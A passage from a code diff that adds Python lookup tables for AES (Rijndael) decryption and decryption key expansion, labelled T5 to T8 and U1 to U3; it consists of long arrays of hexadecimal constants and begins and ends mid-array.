0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] + + # Transformations for decryption + T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] + T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] + T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] + T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] + + # Transformations for decryption key expansion + U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] + U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] + U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 